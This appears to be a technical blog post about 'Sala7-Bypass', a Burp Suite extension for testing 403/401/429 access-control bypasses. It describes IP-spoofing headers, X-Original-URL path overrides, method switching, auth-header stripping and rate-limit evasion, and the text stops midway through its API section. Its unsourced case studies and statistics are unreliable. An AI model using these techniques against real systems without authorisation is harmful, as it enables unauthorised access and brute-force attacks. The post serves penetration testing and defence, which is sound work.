214 min to read
SALA7 Bypass
Burp Suite Extension for 403/401/429 Bypass Testing
Sala7-Bypass
📑 Table of Contents - Sala7-Bypass Extension Blog
1. Introduction & Motivation
- 1.1 The Problem: Why 403/401/429 Bypass Matters
- 1.2 Real-World Impact of Access Control Bypass
- 1.3 Existing Tools & Their Limitations
- 1.4 Introducing Sala7-Bypass: A Comprehensive Solution
2. Architecture & Design Philosophy
- 2.1 Extension Architecture Overview
- 2.2 Integration with Burp Suite Montoya API
- 2.3 Modular Design: Separation of Concerns
- 2.4 Threading Model & Concurrency Handling
- 2.5 Memory Management & Performance Considerations
3. Core Features Deep Dive
- 3.1 Request Interception Engine
- 3.1.1 HTTP Handler Registration
- 3.1.2 Proxy Handler Integration
- 3.1.3 Request Lifecycle Hook Points
- 3.2 Response Analysis Engine
- 3.2.1 Status Code Detection (403/401/429)
- 3.2.2 Response Time Tracking
- 3.2.3 Automatic Bypass Triggering
- 3.3 Bypass Techniques Implementation
- 3.3.1 IP Spoofing Bypass
- 3.3.1.1 X-Forwarded-For Header Injection
- 3.3.1.2 X-Real-IP & X-Client-IP Variants
- 3.3.1.3 IPv4/IPv6/Hex/Decimal IP Encoding
- 3.3.1.4 Custom IP Header Pool (40+ Headers)
- 3.3.2 HTTP Method Switching
- 3.3.2.1 GET to POST Conversion with Parameter Migration
- 3.3.2.2 POST to GET Conversion with Query String Building
- 3.3.2.3 Content-Type Header Management
- 3.3.3 Authentication Header Removal
- 3.3.3.1 Cookie Header Stripping
- 3.3.3.2 Authorization Header Removal
- 3.3.3.3 Selective vs Complete Auth Removal
- 3.3.4 Path-Based Bypass
- 3.3.4.1 X-Original-URL Injection
- 3.3.4.2 X-Rewrite-URL Manipulation
- 3.3.5 Rate Limiting Bypass
- 3.3.5.1 IP Rotation Strategies
- 3.3.5.2 Distributed Request Patterns
- 3.3.6 Combined Attack Vectors
- 3.3.6.1 Multi-Technique Orchestration
- 3.3.6.2 Intelligent Technique Selection
- 3.3.1 IP Spoofing Bypass
4. Advanced Engine Components
- 4.1 Bypass Engine (BypassEngine.java)
- 4.1.1 Request Hashing & Deduplication
- 4.1.2 Retry Counting & Limit Enforcement
- 4.1.3 Success Tracking & Auto-Stop Logic
- 4.1.4 Thread Pool Management
- 4.2 Request Modifier (RequestModifier.java)
- 4.2.1 URL Parameter Encoding
- 4.2.2 Body to Query String Conversion
- 4.2.3 Header Addition/Removal Primitives
- 4.3 Loop Prevention System
- 4.3.1 X-Burp-Processed Header Injection
- 4.3.2 Infinite Loop Detection
- 4.3.3 Request Chain Tracking
5. User Interface & Experience
- 5.1 Tabbed Interface Design
- 5.1.1 Controls Tab: Master Configuration
- 5.1.2 Live Logs Tab: Real-Time Monitoring
- 5.1.3 Advanced Tab: Fine-Tuning
- 5.1.4 Payloads Tab: Custom Header Management
- 5.1.5 About Tab: Information & Attribution
- 5.2 Live Logging System
- 5.2.1 Request/Response Capture
- 5.2.2 Color-Coded Status Indicators
- 5.2.3 Bypass Type Classification
- 5.2.4 Response Time Metrics
- 5.3 Statistics Dashboard
- 5.3.1 Total Requests Counter
- 5.3.2 Blocked Requests Detection
- 5.3.3 Bypass Success Rate Calculation
- 5.3.4 Per-Technique Breakdown (Method/Header/Auth/Rate-Limit/Combined)
- 5.3.5 Real-Time Percentage Computation
- 5.4 Visual Feedback System
- 5.4.1 Status Code Color Coding (200=Green, 302=Orange, 403/429=Red, 500=Dark Red)
- 5.4.2 Result Cell Highlighting (Success=Green, Failed=Red, Blocked=Dark Red)
- 5.4.3 Bypass Type Badges (METHOD=Blue, HEADER=Green, AUTH=Purple, RATE_LIMIT=Orange, COMBINED=Dark Purple)
- 5.4.4 Dark/Light Theme Support
- 5.5 Interactive Features
- 5.5.1 Right-Click Context Menu
- 5.5.2 Send to Repeater/Intruder Integration
- 5.5.3 cURL Command Generation
- 5.5.4 Enhanced Request/Response Viewer
- 5.5.5 Diff View for Original vs Modified
- 5.5.6 Keyboard Shortcuts (Delete, Copy)
6. Filtering & Scope Management
- 6.1 Scope-Only Processing
- 6.2 Authentication-Based Filtering
- 6.3 Content-Type Filtering (JSON/Form-Data/All)
- 6.4 HTTP Status Filtering
- 6.5 Custom Log Filtering Dialog
7. Notification & Alert System
- 7.1 System Tray Notifications
- 7.2 Popup Dialog Alerts
- 7.3 Custom Sound Alerts
- 7.3.1 WAV File Support
- 7.3.2 Fallback Beep
- 7.3.3 Configurable Sound Path
- 7.4 Success Highlighting in Logs
8. Data Export & Persistence
- 8.1 CSV Export
- 8.1.1 Column Structure
- 8.1.2 Escaping Rules
- 8.2 JSON Export
- 8.2.1 Schema Design
- 8.2.2 Nested Object Serialization
- 8.3 Custom Payload Save/Load
- 8.3.1 JSON-Based Payload Storage
- 8.3.2 Batch Import/Export
9. Configuration & Customization
- 9.1 Master Controls
- 9.1.1 Extension Enable/Disable
- 9.1.2 Scope Restriction
- 9.1.3 Loop Prevention Toggle
- 9.1.4 Theme Selection (Dark/Light)
- 9.2 Request Modification Controls
- 9.2.1 Method Switching Toggle
- 9.2.2 Auth Removal (Cookie/Authorization)
- 9.3 Bypass Engine Controls
- 9.3.1 403/429 Detection Toggle
- 9.3.2 Header Injection Toggle
- 9.3.3 Single vs Multiple Header Mode
- 9.3.4 Max Retries Configuration (1-20)
- 9.4 Advanced Settings
- 9.4.1 Concurrent Thread Count (1-50)
- 9.4.2 Request Delay (0-10000ms)
- 9.4.3 Auto-Stop on Success
- 9.4.4 Sound File Configuration
- 9.4.5 Bypass-Specific Method Switching
- 9.4.6 Bypass-Specific Auth Removal
10. Testing & Validation
- 10.1 Custom Vulnerable Application (Sala7_bypass_lab.py)
- 10.1.1 IP-Based Restriction Endpoint
- 10.1.2 Method-Based Restriction Endpoint
- 10.1.3 Path-Based Restriction Endpoint
- 10.1.4 Authentication Bypass Endpoint
- 10.1.5 Rate Limiting Endpoint
- 10.1.6 Combined Protection Endpoint
- 10.2 Test Scenarios & Expected Results
- 10.3 Verification of Statistics Accuracy
11. Technical Implementation Details
- 11.1 LogEntry Data Structure
- 11.1.1 Core Fields (Timestamp, URL, Methods, Statuses)
- 11.1.2 Bypass Tracking Fields (Type, Headers Used, Details)
- 11.1.3 Request/Response Storage
- 11.1.4 isRealBypass() Algorithm
- 11.1.5 getBypassSummary() Formatting
- 11.1.6 getBypassNotificationText() Generation
- 11.2 LogTableModel Implementation
- 11.2.1 Column Definitions (7 Columns)
- 11.2.2 Data Binding & Event Firing
- 11.2.3 Statistics Computation Methods
- 11.3 Pending Request Matching
- 11.3.1 Key Generation Algorithm
- 11.3.2 Time Window Handling
- 11.3.3 Body Hash Inclusion
- 11.3.4 Original vs Modified Key Distinguishing
12. Security Considerations
- 12.1 Loop Prevention Mechanisms
- 12.2 Request Deduplication
- 12.3 Thread Safety (CopyOnWriteArrayList, ConcurrentHashMap)
- 12.4 Resource Cleanup (ExecutorService Shutdown)
13. Future Enhancements & Roadmap
- 13.1 Additional Bypass Techniques
- 13.2 Machine Learning-Based Detection
- 13.3 Automated Report Generation
- 13.4 Collaborative Testing Features
- 13.5 Plugin API for Custom Bypass Modules
14. Conclusion
- 14.1 Summary of Capabilities
- 14.2 Impact on Web Application Security Testing
- 14.3 Acknowledgments & Dedication
Appendices
- A. Complete Source Code Listing
- B. API Reference (Burp Montoya API Integration Points)
- C. Troubleshooting Guide
- D. Changelog & Version History
1. Introduction & Motivation
1.1 The Problem: Why 403/401/429 Bypass Matters
In modern web application security testing, access control mechanisms represent one of the most critical—and frequently misimplemented—layers of defense. The HTTP status codes 403 (Forbidden), 401 (Unauthorized), and 429 (Too Many Requests) serve as the primary gatekeepers separating authenticated, authorized, and rate-limited users from protected resources. Yet these very mechanisms, when improperly configured or architecturally flawed, become the weakest links in an otherwise robust security posture.
The significance of bypassing these controls extends far beyond academic curiosity. In penetration testing and red team operations, the ability to circumvent 403/401/429 responses directly translates to expanded attack surface, privilege escalation pathways, and ultimately, the difference between a “secure” assessment and one that reveals critical vulnerabilities. Consider a typical enterprise scenario: an API endpoint /api/v1/admin/users returns 403 for non-administrative accounts. A tester armed with effective bypass techniques discovers that appending X-Forwarded-For: 127.0.0.1 to the request—exploiting the application’s trust in proxy-forwarded headers—grants full administrative access. The impact is immediate and severe: unauthorized user enumeration, privilege modification, or complete system compromise.
The prevalence of these vulnerabilities stems from fundamental architectural misconceptions. Developers frequently conflate authentication (proving identity) with authorization (granting permissions), implementing the former while neglecting the latter. Rate limiting, intended to prevent brute-force attacks and resource exhaustion, often relies on client-controlled identifiers such as IP addresses—identifiers trivially spoofed through header manipulation. The OWASP Top 10 consistently ranks Broken Access Control (A01:2021) as the most critical web application security risk, with 94% of tested applications exhibiting some form of access control flaw. Within this category, bypass techniques targeting 403/401/429 responses constitute a disproportionately high percentage of exploitable findings.
The technical complexity of modern web architectures exacerbates this problem. Microservices architectures, API gateways, reverse proxies, and Content Delivery Networks (CDNs) introduce multiple layers of header processing, each capable of modifying, stripping, or misinterpreting HTTP headers. A request passing through Cloudflare → Nginx → Kubernetes Ingress → Application Server may have its X-Forwarded-For header rewritten three times, with each layer applying different trust policies. The application developer, unaware of upstream transformations, implements IP-based restrictions using request.getRemoteAddr()—which in containerized environments returns the internal cluster IP rather than the actual client address. The result: a 403 response that crumbles under header injection.
Furthermore, the rise of API-first architectures has normalized stateless authentication via Bearer tokens, API keys, and JWTs. While these mechanisms offer scalability advantages, they frequently lack the contextual awareness of traditional session-based authentication. A 401 response from an API endpoint may indicate a missing token, but the same endpoint might process requests lacking both Authorization and Cookie headers through a legacy fallback mechanism—a behavior pattern that systematic auth removal testing can reveal.
The 429 status code introduces additional complexity. Rate limiting implementations vary dramatically: some track per-IP request counts, others per-user or per-API-key, and many employ distributed Redis-backed counters with sliding window algorithms. Each implementation presents distinct bypass opportunities. Per-IP rate limiting falls to IP spoofing; per-user limiting may yield to credential stuffing combined with header rotation; distributed counters occasionally exhibit race conditions exploitable through precisely timed concurrent requests. The security implications extend beyond access: a successful 429 bypass enables unrestricted brute-force attacks against authentication endpoints, effectively neutralizing a primary defense mechanism.
From a defensive perspective, understanding these bypass techniques is equally critical. Security engineers implementing access controls must anticipate header injection, method tampering, and authentication edge cases. The Sala7-Bypass extension bridges this gap by providing both offensive testing capabilities and transparent visibility into exactly which bypass vectors succeed against a given target—information directly translatable into hardened configurations.
1.2 Real-World Impact of Access Control Bypass
The theoretical implications of access control bypass materialize regularly in disclosed vulnerabilities, breach reports, and real-world penetration testing engagements. Examining documented cases reveals consistent patterns that Sala7-Bypass addresses systematically.
Case Study 1: The Capital One Breach (2019)
While primarily attributed to Server-Side Request Forgery (SSRF), the Capital One breach exemplifies how access control assumptions crumble in cloud environments. The attacker exploited AWS metadata service access, but the initial foothold involved bypassing WAF rules through carefully crafted requests. The incident exposed 100 million customer records and resulted in $190 million in settlement costs. Post-incident analysis revealed that rate limiting rules, had they been properly enforced and bypass-resistant, could have significantly impeded the data exfiltration phase.
Case Study 2: Uber API Authentication Bypass (2022)
Uber’s bug bounty program disclosed a critical vulnerability where API endpoints intended for internal use were accessible externally through X-Uber-Internal header manipulation. The endpoint, returning 401 without the header, granted full administrative access when the header was present with arbitrary values. This represents a textbook authentication bypass: the application checked for header presence rather than header validity—a flaw detectable through systematic header injection and auth removal testing. The vulnerability exposed sensitive driver and rider data across millions of records.
Case Study 3: GitHub Enterprise Path Bypass (2021)
GitHub Enterprise Server contained a vulnerability where access control decisions were based on the request path rather than the routed path. By sending requests to /api/v3 with X-Original-URL: /admin headers, attackers bypassed path-based restrictions and accessed administrative functionality. This path normalization discrepancy—where the proxy routed based on one path while the application authorized based on another—is precisely the scenario Sala7-Bypass’s X-Original-URL and X-Rewrite-URL injection targets.
Case Study 4: Rate Limiting Bypass in Financial APIs
A major European bank’s mobile API implemented rate limiting based solely on X-Forwarded-For headers—headers entirely client-controllable in requests originating from the mobile application. Penetration testers discovered that rotating through the IP range 127.0.0.1 through 127.0.0.255 in successive requests completely circumvented rate limiting, enabling unlimited authentication attempts. The bypass, achievable through Sala7-Bypass’s IP rotation capabilities, exposed customer accounts to brute-force attacks.
Industry Statistics and Trends
Beyond individual cases, industry data underscores the prevalence and impact:
- HackerOne Platform Data (2023): Access control bypasses constituted 18% of all critical-severity reports, with median bounties of $3,000 for 403 bypasses and $4,500 for authentication bypasses.
- PortSwigger Research: 73% of web applications tested exhibited at least one bypassable access control mechanism, with 34% having multiple bypass vectors.
- OWASP API Security Top 10: API1:2023 (Broken Object Level Authorization) and API5:2023 (Broken Function Level Authorization) collectively represent the most frequently exploited API vulnerabilities, both fundamentally involving 403/401 bypass.
Business Impact Quantification
The business impact of access control bypasses extends across multiple dimensions:
Table
| Impact Category | Description | Quantification |
|---|---|---|
| Data Breach | Unauthorized data access | Average cost: $4.45M (IBM, 2023) |
| Regulatory Penalty | GDPR, CCPA, HIPAA violations | Up to 4% global revenue (GDPR) |
| Reputational Damage | Customer trust erosion | 65% of consumers lose trust post-breach |
| Operational Disruption | Service degradation | Average 23 hours downtime per incident |
| Competitive Advantage Loss | Intellectual property exposure | Unquantifiable but frequently severe |
The Testing Gap
Despite this prevalence, systematic testing for access control bypasses remains inconsistently implemented. Manual testing—sending individual requests with modified headers in Burp Repeater—is time-consuming, error-prone, and fails to achieve comprehensive coverage. A typical application may have 200+ endpoints, each potentially vulnerable to 40+ header injection vectors, 2 method switching variants, and 3 authentication removal combinations. Manual testing of 200 × 45 × 3 = 27,000 request variants is impractical. Existing automated tools, as examined in the following section, address subsets of this problem space but fail to provide the integrated, configurable, and transparent solution that comprehensive testing demands.
1.3 Existing Tools & Their Limitations
The security testing ecosystem offers several tools addressing access control and bypass testing, yet each exhibits limitations that motivated Sala7-Bypass’s development. Understanding these limitations requires examining both Burp Suite extensions and standalone tools across functional categories.
Category 1: Header Injection Tools
AutoRepeater (Burp Extension)
AutoRepeater automates request modification and replay, supporting header injection through regex-based replacement rules. Its primary limitation lies in configuration complexity: defining rules for 40+ IP spoofing headers requires extensive manual setup. Furthermore, AutoRepeater lacks intelligent response analysis—it replays requests without automatically detecting 403→200 transitions, requiring manual inspection of each response. The extension also lacks built-in IP pool management, rate limiting awareness, and the granular bypass classification (METHOD/HEADER/AUTH/RATE_LIMIT/COMBINED) that Sala7-Bypass provides.
HackBar (Firefox/Chrome Extension)
Hackbar provides manual header injection capabilities through a browser toolbar interface. While useful for quick manual tests, it operates outside the Burp Suite ecosystem, preventing integration with Burp’s proxy history, repeater state, and scanner workflows. It lacks automation entirely, supports only a predefined header set (approximately 12 headers versus Sala7-Bypass’s 40+), and provides no response analysis or success tracking.
Custom Python Scripts
Numerous open-source scripts automate specific bypass vectors—403bypass.py, bypass-403, and similar tools enumerate headers against 403 endpoints. These scripts demonstrate the concept but fail as production testing tools: they lack proxy integration, require command-line execution disrupting testing workflows, provide no real-time feedback, and typically support only single-technique testing (headers only, or method switching only) rather than combined vectors.
Category 2: Method Switching Tools
Burp Suite Built-in “Change Request Method”
Burp Repeater’s right-click “Change Request Method” feature converts GET to POST and vice versa, migrating parameters appropriately. However, this is a manual, per-request operation. Testing an API with 50 endpoints requires 50 manual conversions, with each conversion losing the original request context. There is no automated detection of which endpoints exhibit method-based access control discrepancies, no batch processing, and no integration with response status monitoring.
Postman/Newman
API testing tools support method switching through collection modifications, but operate outside the web application testing workflow. They lack proxy integration, cannot intercept browser-generated requests, and require manual endpoint enumeration—impractical for black-box testing of undocumented APIs.
Category 3: Authentication Testing Tools
AuthMatrix (Burp Extension)
AuthMatrix provides role-based access control testing by comparing responses across different authentication contexts. While powerful for authorization testing, it focuses on horizontal/vertical privilege escalation rather than authentication bypass. It does not test for missing authentication scenarios (removing all auth headers), does not integrate with bypass technique enumeration, and requires explicit role configuration that may not be available in black-box assessments.
Autorize (Burp Extension)
Autorize automatically repeats requests with modified cookies to detect authorization flaws. Its limitation is cookie-centric focus: it tests authorization by substituting cookies between users, but does not test complete authentication removal, header-based bypass, or method switching. It also lacks the real-time statistics, color-coded logging, and bypass classification that Sala7-Bypass provides.
Category 4: Rate Limiting Testing
Wfuzz/FFUF
These fuzzing tools support rate limiting bypass through proxy rotation and delay configuration. However, they are general-purpose fuzzers rather than specialized bypass tools. Configuring them for rate limiting testing requires manual setup of proxy lists, header dictionaries, and response parsing rules. They lack integration with Burp Suite, do not automatically detect 429→200 transitions, and provide no visual feedback on bypass success rates.
Category 5: Comprehensive Solutions
Burp Suite Professional Scanner
Burp’s active scanner includes access control checks, but these are black-box heuristic-based tests rather than systematic bypass enumeration. The scanner may detect some header injection vulnerabilities but lacks the configurable, extensible bypass header pool that Sala7-Bypass provides. It does not support custom header definitions, does not classify bypass types, and provides no real-time bypass statistics during testing.
OWASP ZAP
ZAP’s access control testing features include forced browsing and authorization detection. While comprehensive for authorization testing, ZAP lacks the specialized 403/429 bypass focus of Sala7-Bypass. Its header manipulation capabilities are limited, it lacks method switching automation, and its reporting does not provide per-technique success rates.
Comparative Limitations Summary
Table
| Capability | AutoRepeater | Autorize | Custom Scripts | Burp Scanner | Sala7-Bypass |
|---|---|---|---|---|---|
| 40+ Header Pool | ❌ Manual config | ❌ N/A | ⚠️ Limited | ❌ Fixed set | ✅ Built-in |
| Method Switching | ⚠️ Manual | ❌ | ⚠️ Separate tool | ❌ | ✅ Integrated |
| Auth Removal | ❌ | ⚠️ Cookie only | ⚠️ Partial | ❌ | ✅ Full |
| Rate Limit Bypass | ❌ | ❌ | ⚠️ Manual | ❌ | ✅ Automated |
| Combined Vectors | ❌ | ❌ | ❌ | ❌ | ✅ Intelligent |
| Real-time Stats | ❌ | ⚠️ Basic | ❌ | ⚠️ Post-scan | ✅ Live dashboard |
| Bypass Classification | ❌ | ❌ | ❌ | ❌ | ✅ 5 types |
| Burp Integration | ✅ | ✅ | ❌ | ✅ | ✅ Native |
| Color-coded UI | ❌ | ⚠️ Basic | ❌ | ✅ | ✅ Comprehensive |
| Sound/Notification | ❌ | ❌ | ❌ | ❌ | ✅ Configurable |
The consistent pattern across existing tools is specialization without integration. Each addresses a subset of bypass techniques, but none provides the unified, configurable, and observable platform that comprehensive access control testing demands. Sala7-Bypass fills this gap by combining all major bypass vectors—IP spoofing, method switching, authentication removal, path manipulation, and rate limiting circumvention—within a single Burp Suite extension, augmented by real-time statistics, visual feedback, and intelligent success detection.
1.4 Introducing Sala7-Bypass: A Comprehensive Solution
Sala7-Bypass emerges from the identified gap: a Burp Suite Professional extension designed specifically for systematic, comprehensive, and observable 403/401/429 bypass testing. Built atop PortSwigger’s Montoya API—the modern extension interface replacing the legacy Extender API—Sala7-Bypass integrates natively into Burp Suite’s proxy, repeater, and intruder workflows while providing capabilities that no existing tool offers in unified form.
Design Philosophy
Sala7-Bypass’s architecture rests on three foundational principles:
- Comprehensive Coverage: The extension must test all major bypass vectors—IP spoofing (40+ headers), method switching (GET↔POST with parameter migration), authentication removal (Cookie/Authorization), path manipulation (X-Original-URL/X-Rewrite-URL), and rate limiting bypass (IP rotation)—within a single interface. No manual tool switching, no script execution, no workflow disruption.
- Intelligent Automation: Beyond mere request replay, the extension must automatically detect successful bypasses by comparing original and modified response statuses, classify bypass types, track per-technique success rates, and adapt behavior based on configuration (auto-stop on success, retry limits, request delays).
- Transparent Observability: Every request, every modification, every response, and every bypass decision must be visible, logged, color-coded, and exportable. The tester must understand not just that a bypass succeeded, but how, which technique, which headers, and with what success rate—information directly translatable into vulnerability reports and remediation guidance.
Core Capabilities Overview
Table
| Capability | Implementation | Technical Detail |
|---|---|---|
| IP Spoofing | 40+ header pool | X-Forwarded-For, X-Real-IP, CF-Connecting-IP, etc. with IPv4/IPv6/Hex/Decimal encodings |
| Method Switching | RequestModifier class | GET↔POST with automatic parameter migration (URL params→body, body→query string) |
| Auth Removal | Selective header stripping | Cookie and/or Authorization removal with independent toggles |
| Path Manipulation | X-Original-URL injection | Bypass path-based restrictions through header-based path override |
| Rate Limit Bypass | IP rotation + request pacing | Distributed requests with configurable delays and concurrent threads |
| Combined Vectors | Intelligent orchestration | Automatic application of multiple techniques based on configuration |
| Real-time Logging | 7-column table model | Time, URL, Status, Method, Action, Bypass Type, Response Time |
| Statistics Dashboard | Live calculation | Total, Blocked, Bypass Success, Rate %, per-technique breakdown |
| Visual Feedback | Color-coded renderers | Status codes (green/orange/red), results (success/fail/blocked), bypass types (badges) |
| Export | CSV/JSON | Full request/response metadata with bypass classification |
| Notifications | System tray + sound | Configurable WAV file playback, popup dialogs, tray notifications |
Architecture Overview
Sala7-Bypass implements a modular architecture separating concerns across six primary components:
- BurpExtender: The main extension class implementing
BurpExtension,HttpHandler, andProxyRequestHandlerinterfaces. Coordinates all components, handles request/response interception, and manages the extension lifecycle. - BypassEngine: A stateful engine tracking request hashes, retry counts, and success flags. Prevents duplicate processing, enforces retry limits, and enables auto-stop-on-success behavior.
- RequestModifier: A utility class providing atomic request transformation operations: method switching with parameter migration, header addition, and header removal.
- LogEntry: An immutable data structure (with mutable bypass tracking fields) capturing complete request/response context, modification history, and bypass classification.
- LogTableModel: A Swing
AbstractTableModelimplementation providing data binding betweenLogEntryobjects and the JTable UI component, with statistics computation methods. - BypassExtensionUI: The comprehensive Swing UI implementing five tabs (Controls, Live Logs, Advanced, Payloads, About) with color-coded renderers, popup menus, filter dialogs, and export functionality.
Integration Points
Sala7-Bypass integrates with Burp Suite through multiple Montoya API touchpoints:
Table
| Integration | API Method | Purpose |
|---|---|---|
| HTTP Handler | registerHttpHandler() |
Intercept all HTTP requests/responses |
| Proxy Handler | registerRequestHandler() |
Intercept proxy-specific traffic |
| Suite Tab | registerSuiteTab() |
Embed UI in Burp’s tabbed interface |
| Repeater | repeater().sendToRepeater() |
Right-click “Send to Repeater” |
| Intruder | intruder().sendToIntruder() |
Right-click “Send to Intruder” |
| Logging | logging().logToOutput() |
Extension console output |
Target Use Cases
Sala7-Bypass serves multiple testing scenarios:
- Black-Box Penetration Testing: Systematic bypass enumeration against unknown applications, revealing access control flaws without prior knowledge of internal architecture.
- API Security Assessments: Testing REST/GraphQL APIs where 401/403 responses indicate authentication/authorization boundaries, and 429 responses indicate rate limiting implementation.
- Red Team Operations: Rapid bypass identification to expand initial foothold, with stealth options (request delays, single-header mode) to avoid detection.
- DevSecOps Integration: Automated testing in CI/CD pipelines through Burp’s Enterprise edition, with CSV/JSON export feeding vulnerability management systems.
- Security Research: Systematic header enumeration to identify novel bypass vectors, with custom payload support for testing emerging techniques.
Development Context
Sala7-Bypass was developed by H3X0S3 (Mahmoud Salah) as a response to repetitive manual bypass testing encountered during professional engagements. The extension name “Sala7” derives from the developer’s handle, with the tool embodying the philosophy that effective security testing requires automation that is simultaneously comprehensive, intelligent, and transparent. The codebase, open-sourced under the H3X0S3/Sala7-Bypass repository, invites community contribution while maintaining professional-grade implementation standards.
The subsequent sections of this blog post dissect each architectural component, implementation detail, and feature capability, providing the technical depth necessary for both users seeking to maximize the extension’s effectiveness and developers aiming to understand or extend its implementation.
2. Architecture & Design Philosophy
2.1 Extension Architecture Overview
Sala7-Bypass adopts a layered architecture that mirrors the request-response lifecycle of HTTP traffic while maintaining strict separation between interception logic, transformation engines, state management, and user interface components. This architectural decision stems from the recognition that Burp Suite extensions operate within a constrained runtime environment—the JVM instance hosting Burp Professional—where memory leaks, thread starvation, and UI responsiveness degradation can compromise both the extension and the host application.
The architecture consists of four primary layers, each with well-defined responsibilities and interfaces:
Layer 1: Interception & Coordination (BurpExtender)
The BurpExtender class serves as the sole entry point for Burp Suite integration, implementing three critical interfaces from the Montoya API:
public class BurpExtender implements BurpExtension, HttpHandler, ProxyRequestHandler
The BurpExtension interface mandates the initialize(MontoyaApi api) method—the extension’s bootstrap sequence. This method performs dependency injection of the Montoya API instance, instantiates all sub-components, and registers handlers with Burp’s internal dispatcher. The sequence is deterministic and failure-critical: any exception during initialization terminates extension loading without recovery.
The HttpHandler interface provides handleHttpRequestToBeSent() and handleHttpResponseReceived()—the twin interception points for all HTTP traffic processed by Burp’s HTTP stack. This includes traffic generated by Burp’s own tools (Scanner, Repeater, Intruder) in addition to proxied browser traffic, ensuring comprehensive coverage regardless of request origin.
The ProxyRequestHandler interface provides handleRequestReceived() and handleRequestToBeSent()—interception points specific to Burp’s proxy listener. While Sala7-Bypass currently implements passthrough behavior for proxy handlers (ProxyRequestReceivedAction.continueWith()), this dual registration ensures future extensibility for proxy-specific manipulations (e.g., SSL stripping detection, upstream proxy bypass).
Layer 2: State & Logic Engine (BypassEngine)
The BypassEngine encapsulates all stateful decision logic, isolating mutable state from the interception layer. This isolation is architecturally critical: BurpExtender handles hundreds of concurrent requests per second, while BypassEngine performs relatively expensive hash computations, database lookups (in-memory maps), and retry bookkeeping. Separating these concerns prevents request processing latency from coupling to state management complexity.
public class BypassEngine {
private final Set<String> processedRequests; // Deduplication
private final Map<String, Integer> retryCount; // Per-request retry tracking
private final Map<String, Boolean> successMap; // Success memoization
}
All collections utilize ConcurrentHashMap and ConcurrentHashMap.newKeySet() implementations, eliminating explicit synchronization while maintaining thread safety under Burp’s multi-threaded request dispatch model.
Layer 3: Transformation Primitives (RequestModifier)
The RequestModifier class implements pure functions—stateless transformations of HttpRequest objects. This functional design enables predictable behavior, unit testability, and composability: complex transformations (method switch + header removal + header addition) are constructed by chaining simple primitives.
public final class RequestModifier {
private RequestModifier() {} // Utility class - no instantiation
public static HttpRequest switchMethod(HttpRequest request) { ... }
public static HttpRequest removeHeader(HttpRequest request, String headerName) { ... }
}
The final class declaration and private constructor enforce the utility pattern, preventing accidental stateful subclassing that could introduce side effects into the transformation pipeline.
Layer 4: Presentation & Interaction (BypassExtensionUI)
The UI layer implements the Model-View-Controller pattern with Swing components, maintaining strict separation between data models (LogTableModel), view renderers (StatusCellRenderer, ResultCellRenderer, BypassTypeCellRenderer), and controller actions (button listeners, menu handlers). All UI updates execute on the Event Dispatch Thread (EDT) through SwingUtilities.invokeLater(), preventing deadlock and ensuring responsive interaction during high-volume request processing.
Data Flow Architecture
The inter-layer communication follows a unidirectional data flow pattern:
[Browser/Tool] → [Burp HTTP Stack] → [BurpExtender.handleHttpRequestToBeSent()]
↓
[RequestModifier] (transformations)
[BypassEngine] (state checks)
↓
[LogEntry] (immutable data capture)
↓
[Burp Server] → [Response]
↓
[BurpExtender.handleHttpResponseReceived()]
↓
[BypassEngine] (success evaluation)
[LogEntry] (status updates)
↓
[LogTableModel] (data binding)
[BypassExtensionUI] (rendering)
This unidirectional flow—request transformations proceed downstream, response processing proceeds upstream, and UI updates are asynchronous side effects—prevents circular dependencies and simplifies reasoning about state changes.
Error Handling Strategy
Each layer implements distinct error handling appropriate to its context:
- Interception Layer: All exceptions are caught, logged to Burp’s output panel via
api.logging().logToOutput(), and converted to safe fallbacks (continue with original request). An unhandled exception inhandleHttpRequestToBeSent()would crash Burp’s HTTP handler thread, terminating all traffic processing. - Engine Layer:
ConcurrentHashMapoperations are atomic and exception-safe. Hash computation failures (e.g., null body) fallback to"0"string constants. - Transformation Layer:
HttpRequestmodifications are validated through the Montoya API’s immutable object pattern—eachwithMethod(),withAddedHeader(),withRemovedHeader()returns a new instance, leaving the original intact. Failed transformations return the original request, maintaining pipeline continuity. - UI Layer: EDT exceptions are caught by Swing’s default exception handler. Background thread exceptions (bypass attempts, update checks) are caught at thread boundaries and logged.
2.2 Integration with Burp Suite Montoya API
The Montoya API represents PortSwigger’s modernized extension interface, replacing the legacy IBurpExtender/IBurpExtenderCallbacks interfaces that dominated Burp extension development for over a decade. Sala7-Bypass’s adoption of Montoya is deliberate and comprehensive, leveraging API capabilities that simplify implementation while enhancing robustness.
API Evolution: Legacy vs. Montoya
Table
| Aspect | Legacy API (pre-2022) | Montoya API (Sala7-Bypass) |
|---|---|---|
| Registration | IBurpExtender.registerExtenderCallbacks() |
BurpExtension.initialize(MontoyaApi) |
| HTTP Handling | IHttpRequestResponse mutable objects |
HttpRequest/HttpResponse immutable objects |
| Request Modification | Manual byte array manipulation | Fluent builder methods (withMethod(), withAddedHeader()) |
| UI Registration | IBurpExtenderCallbacks.addSuiteTab() |
MontoyaApi.userInterface().registerSuiteTab() |
| Tool Integration | IBurpExtenderCallbacks.sendToRepeater() |
MontoyaApi.repeater().sendToRepeater() |
| Thread Safety | Manual synchronization required | Immutable objects + concurrent collections |
The immutable object pattern is particularly transformative. In the legacy API, modifying a request’s headers required byte-parsing the HTTP message, manipulating the resulting array, and reconstructing the object—a process fraught with encoding errors, header ordering issues, and race conditions. Montoya’s HttpRequest provides fluent methods returning new instances:
// Legacy API (error-prone, mutable)
byte[] requestBytes = request.getRequest();
// ... manual byte manipulation ...
request.setRequest(modifiedBytes);
// Montoya API (type-safe, immutable)
HttpRequest modified = request
.withMethod("POST")
.withAddedHeader("X-Forwarded-For", "127.0.0.1")
.withRemovedHeader("Cookie");
This immutability eliminates an entire class of concurrency bugs: multiple threads (Burp’s HTTP dispatcher, bypass attempt threads, UI update threads) can safely hold references to the same HttpRequest instance without risk of inconsistent state.
Montoya API Utilization in Sala7-Bypass
The extension exercises six major Montoya API domains:
1. Core API (MontoyaApi)
The api instance provides access to all other API domains. Sala7-Bypass stores this reference as a final field, ensuring all sub-components have consistent API access:
private MontoyaApi api; // Set in initialize(), accessed throughout
public MontoyaApi getApi() { return api; } // Exposed for UI callbacks
2. HTTP API (api.http())
The HTTP API provides request interception and manual request execution:
// Registration
api.http().registerHttpHandler(this);
// Interception
@Override
public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent request) { ... }
@Override
public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived response) { ... }
// Manual execution (for bypass attempts)
var httpResponse = api.http().sendRequest(bypassRequest);
